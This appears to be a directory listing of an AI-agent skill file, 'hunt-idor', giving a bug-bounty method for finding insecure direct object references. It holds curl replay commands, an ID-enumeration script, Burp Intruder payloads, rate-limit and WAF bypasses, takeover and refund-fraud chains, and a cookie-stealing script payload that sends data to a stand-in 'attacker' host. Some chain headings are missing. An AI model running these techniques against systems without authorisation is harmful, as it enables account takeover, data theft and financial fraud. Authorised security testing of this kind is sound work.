Download skills/hunt-idor/SKILL.md from the publisher, or copy the path and open the repository. PlugMCP lists the skill and does not host the file.
Where does hunt-idor live?
The publisher keeps it at https://github.com/elementalsouls/Claude-BugHunter.
Which agents can use hunt-idor?
Claude, Cursor, and Codex can read a SKILL.md you add from the publisher's repository.
Hunting skill for idor vulnerabilities. Built from 26 public bug bounty reports. Use when hunting idor on any target.
name: hunt-idor
description: Hunting skill for idor vulnerabilities. Built from 26 public bug bounty reports. Use when hunting idor on any target.
sources: github, hackerone_public
report_count: 39
Crown Jewel Targets
Why IDOR pays big:
Direct access to other users' data without authentication bypass — clear, demonstrable impact
Chains easily with privilege escalation, financial fraud, and account takeover
Affects virtually every application with user-owned resources
Highest-value asset types (by payout potential):
Asset Type
Why It Pays
Financial documents / billing APIs
PII + financial data exposure (Shopify, Uber, PayPal)
Private repositories / source code
IP theft, critical data loss (GitHub)
User messages / DMs
Privacy violation at scale (Reddit)
Account management endpoints
User addition, deletion, privilege escalation (PayPal, Mozilla)
Content-Type: application/json on endpoints accepting raw IDs
No X-Frame-Options or CORS misconfigs paired with ID params
Authorization: Bearer tokens that are user-scoped but hit org-level resources
JavaScript source patterns:
// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationId
Tech stack signals:
GraphQL endpoints (query-based IDORs are often missed)
REST APIs with sequential integer IDs (most vulnerable)
UUIDs that are predictable or leaked in other responses
Multi-tenant SaaS apps with org_id, account_id, business_id params
Mobile apps (Burp the APK — mobile APIs often skip authorization checks)
Step-by-Step Hunting Methodology
Map all object references in the application
Browse every feature authenticated as User A
Capture all requests in Burp Suite
Filter for requests containing: id=, _id=, uuid=, /v1/{noun}/{id}, query params with numeric/UUID values
Enumerate ID types
Sequential integers → enumerate ±1, ±100
UUIDs → check if they appear in other responses or JS files
Hashed IDs → check if leaked in public endpoints, metadata, or GraphQL introspection
Create two separate accounts (same privilege level)
User A: resource owner
User B: attacker account
Log all IDs belonging to User A while authenticated as User A
Replay User A's resource IDs as User B
Replace session cookie/token with User B's credentials
Send identical requests referencing User A's object IDs
Test ALL HTTP verbs: GET, POST, PUT, PATCH, DELETE on each endpoint
Test cross-tenant/cross-org scenarios
Create accounts in separate organizations/businesses
Test if Org B's session can reference Org A's IDs
Pay special attention to admin/management endpoints
Test GraphQL specifically
Run introspection: { __schema { queryType { fields { name } } } }
For every query/mutation taking an id argument, substitute another user's ID
Test both queries (read) and mutations (write/delete)
Test write/destructive operations, not just reads
Can User B DELETE User A's resources?
Can User B MODIFY User A's content?
Can User B ADD themselves to User A's account?
Chain IDORs together
Use one IDOR's leaked data (org IDs, user IDs) to fuel the next
IDOR → leaked ID → second IDOR → privilege escalation
Test state-changing edge cases
Expired tokens/invites that can still be accepted
Race conditions on resource IDs
Indirect references: ?sort=id or ?filter[user_id]=
Document the exact differential
Confirm User B has NO legitimate access to User A's resource
Screenshot/log the 200 OK vs expected 403/404
Payload & Detection Patterns
Basic IDOR test with curl (swap cookie/token):
# Get User A's resource ID while authenticated as A
curl -s -H "Cookie: session=USER_A_SESSION" \
https://target.com/api/v1/invoices/12345
# Replay with User B's session
curl -s -H "Cookie: session=USER_B_SESSION" \
https://target.com/api/v1/invoices/12345
# Success = 200 OK with User A's data
# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
for i in range(known_id - 500, known_id + 500):
f.write(str(i) + "\n")
Burp Intruder payload for IDOR scanning:
GET /api/messages/§12345§ HTTP/1.1
Host: target.com
Authorization: Bearer USER_B_TOKEN
# Mark §12345§ as injection point
# Use numeric sequential payload: 12000-13000
# Filter responses by length difference or status 200
Bypass: Tokens sometimes reusable across users if server only validates token format, not binding
Technique: Use your own token to access another user's resource ID
Defense: Rate limiting on enumeration
Bypass: Slow enumeration (1 req/5s), use distributed IPs, or exploit non-enumeration IDORs (you already know the target's ID from another leak)
Defense: Checking user_id in WHERE clause
Bypass: Check if the same endpoint exists at a different API version (/v1/ vs /v2/) — authorization logic is often version-specific
Technique: Check JS bundles for older API version calls
Defense: CORS restrictions
Bypass: IDOR doesn't require cross-origin exploitation — you're testing API endpoints directly with your own session
Defense: "Opaque" references via server-side sessions
Bypass: Look for any endpoint that returns the internal ID, then use it elsewhere; APIs often expose IDs in Location headers, error messages, or metadata
Defense: Parameter filtering/WAF on common patterns
Bypass: Try nested JSON {"data": {"id": "VICTIM_ID"}}, HTTP parameter pollution ?id=own_id&id=victim_id, or parameter name variations user_id, userId, uid, account
Gate 0 Validation
Before writing the report, answer all three:
What can the attacker DO right now?
Be specific: "Attacker with a valid account can send a GET request to /api/v1/invoices/{victim_invoice_id} and receive the victim's full billing document including name, address, and payment amount — without any relationship to that account."
What does the victim LOSE?
Map to CIA triad: confidentiality (data exposed), integrity (data modified), or availability (data deleted). "Victim loses confidentiality of private financial records" or "Victim's content is deleted by a third party" — vague answers fail.
Can it be reproduced in 10 minutes from scratch?
Two fresh accounts created ✓
Exact HTTP request documented with victim's ID ✓
200 OK response showing victim's data (or confirmed state change) ✓
No reliance on pre-existing state or timing ✓
If you can't demo it reproducibly, do not file the report.
Real Impact Examples
Scenario 1: Financial Data Exposure + Cross-Account Billing Fraud (Uber-style)
An attacker discovers two related IDORs: one allows reading any organization's voucher policy configuration (exposing org IDs, employee email lists, and payment methods), and a second allows modifying voucher policies using those leaked IDs. Chained together, this enables the attacker to redirect charges to an arbitrary business account, expose employee PII across organizations, and take over invitation links — all without any elevated privileges beyond a basic user account. Impact: financial fraud + mass PII exposure across the B2B platform.
Scenario 2: Private Repository Read via IDOR on Migration Endpoint (GitHub-style)
A migration feature allows users to upload files to a migration job. The migration_id parameter is not validated against the authenticated user's ownership. An attacker creates their own migration, observes the ID format, and substitutes another user's private migration ID — gaining read access to source code files from private repositories they have no access to. Impact: complete confidentiality bypass for private intellectual property.
Scenario 3: Account Takeover Chain via Message IDOR (Reddit-style)
An attacker accesses another user's private message threads by substituting their thread_id in a messaging API endpoint. The response includes message content, metadata, and — critically — session or verification tokens sent via internal messages. The attacker leverages the token found in the messages to perform account recovery steps, escalating a read-only IDOR into full account takeover. Impact: complete account compromise of targeted users at scale.
Chains & Compositions (Senior Hunting)
Standalone IDOR gets paid at Low-Medium for cross-tenant read. The real money is in chaining IDOR to a state-change primitive that doesn't normally permit cross-tenant action — turning "I can see victim's data" into "I own victim's account". The six chains below are the highest-paying IDOR compositions on modern bug-bounty programs.
Chain 1 — IDOR on /api/users/{id}/email + Missing Re-Auth → Password Reset → ATO
A. Confirm IDOR on the email-change endpoint — request PUT /api/users/{victim_id}/email {"email":"attacker@evil"} from attacker's session; server changes the victim's email without ownership check.
B. Hit the password-reset flow on the victim's account — server emails reset link to the new email (attacker's).
C. Open reset link, set new password, log in as victim.
Impact: Silent ATO — victim sees no email change notification because the change happens via API not via the user-facing "change email" UI which has its own audit log.
Real shape: Classic ATO pattern across many SaaS bug-bounty disclosures 2018-2024. Cross-refs hunt-ato Path 2 (email change without re-auth).
A. IDOR on /api/files/{id}/download returns any user's file given the ID.
B. The download endpoint sets Content-Disposition: attachment; filename="<user-supplied-filename>" without sanitising newlines or quotes — attacker uploads a file with filename "; <script>fetch('https://attacker/x?c='+document.cookie)</script>; foo.txt.
C. Victim navigates to download → browser interprets the injected script in the response header context as HTML → JS runs same-origin → cookie/token exfil.
Impact: ATO via IDOR + filename-controlled response header — neither primitive alone is critical; the chain is.
Chain 4 — IDOR on /api/teams/{id}/members + Mass-Assignment in Body → Role Escalation on Victim Team
A. Standard horizontal IDOR — POST /api/teams/{victim_team_id}/members {"email":"attacker@evil"} adds attacker as a normal member without ownership check.
B. The body accepts additional fields the API didn't filter: {"email":"attacker@evil", "role":"OWNER", "permissions":["*"]} — mass assignment leaks into the role field.
C. Attacker is added to the victim team as OWNER. Now has full admin access to the victim team's resources and can remove the real owners.
Impact: Cross-tenant privilege escalation via IDOR + mass assignment. The single most efficient takeover chain on SaaS team-management APIs.
Real shape: Shopify undocumented fileCopy mutation H1 #981472 (2020, $2,000); Stripe UpdateAtlasApplicationPerson cross-tenant mutation H1 #1066203 (2020). Cross-refs hunt-graphql Disclosed Report Citation #7 and #8; pairs with hunt-api-misconfig Mass Assignment section.
A. Identify the "remove member" endpoint that flips an active=false flag but doesn't invalidate the session/PAT.
B. Log in as the to-be-removed user; capture session cookie or PAT.
C. Have the org admin remove the user via the normal flow. Wait. Re-issue API calls using the captured token — IDOR is now temporal (the user no longer has permission per the policy table, but the cached auth context still passes).
A. First IDOR: GET /api/users/{victim_id}/orders returns the victim's order list without ownership check — yields legitimate order_id values.
B. Second IDOR: POST /api/orders/{order_id}/refund issues refunds without checking that the requester owns the merchant/order.
C. Trigger refund on each of the victim merchant's recent orders. Money moves from merchant to customer (who is also attacker-controlled).
Impact: Direct financial loss to the victim merchant. Mass-exploitable across the platform's merchant base.
Real shape: Multiple disclosed e-commerce platform IDOR chains 2019-2023. Cross-refs hunt-business-logic Chain (financial impact via state-machine confusion).
Operator-level pattern
When you confirm a read-IDOR at A, immediately ask: what state-change accepts the same ID and might also be IDOR'd? The chain is usually one of: (1) password reset / email change at terminal step → ATO; (2) refund / withdraw / transfer → financial; (3) role-change / membership-add → privilege escalation. If your read-IDOR doesn't compose to one of those, the standalone payout is what you get. Hunt for both halves — the second is often easier to find because it shares the same auth bug class as the first.
Cross-references:
hunt-ato — Chain 1, 5
hunt-xss — Chain 2
hunt-graphql — Chains 3, 4
hunt-misc — Chain 5
hunt-business-logic — Chain 6
Related Skills & Chains
hunt-auth-bypass — Object-level authorization failure plus route-level auth absence is the canonical IDOR-amplifier. Chain primitive: missing req.user.id scoping in ORM query + missing middleware on legacy /v1/ route = unauthenticated cross-tenant data read via direct ID substitution → bulk PII dump without any session at all.
hunt-ato — Profile-edit IDOR is the most direct path from "read someone's data" to "own their account." Chain primitive: PATCH /api/users/{victim_uid} accepts attacker's session + victim UID → set [email protected] → trigger password reset → reset link arrives at attacker → full ATO without ever knowing victim credentials.
hunt-graphql — GraphQL resolvers without field-level authorization are IDOR-by-default; introspection hands you the schema. Chain primitive: __schema introspection → enumerate every mutation accepting id: argument → substitute victim IDs across updateUser, deleteOrg, transferBilling mutations → mass IDOR fan-out from one introspection query.
security-arsenal — Pull the IDOR Bypass Tables section for HTTP-parameter-pollution payloads (?id=own&id=victim), nested-JSON wrappers ({"data":{"id":"VICTIM"}}), and parameter-name variations (uid/userId/user_id/account) when the first direct substitution returns 403.
triage-validation — Run the Pre-Severity Gate before claiming Critical on an IDOR that returns 200 but doesn't actually leak data (empty array, redacted fields, "access denied" in body with 200 status). The 200-but-no-data IDOR is the #1 N/A driver on H1/Bugcrowd.
How do I install hunt-idor?
Download skills/hunt-idor/SKILL.md from the publisher, or copy the path and open the repository. PlugMCP lists the skill and does not host the file.
Where does hunt-idor live?
The publisher keeps it at https://github.com/elementalsouls/Claude-BugHunter.
Which agents can use hunt-idor?
Claude, Cursor, and Codex can read a SKILL.md you add from the publisher's repository.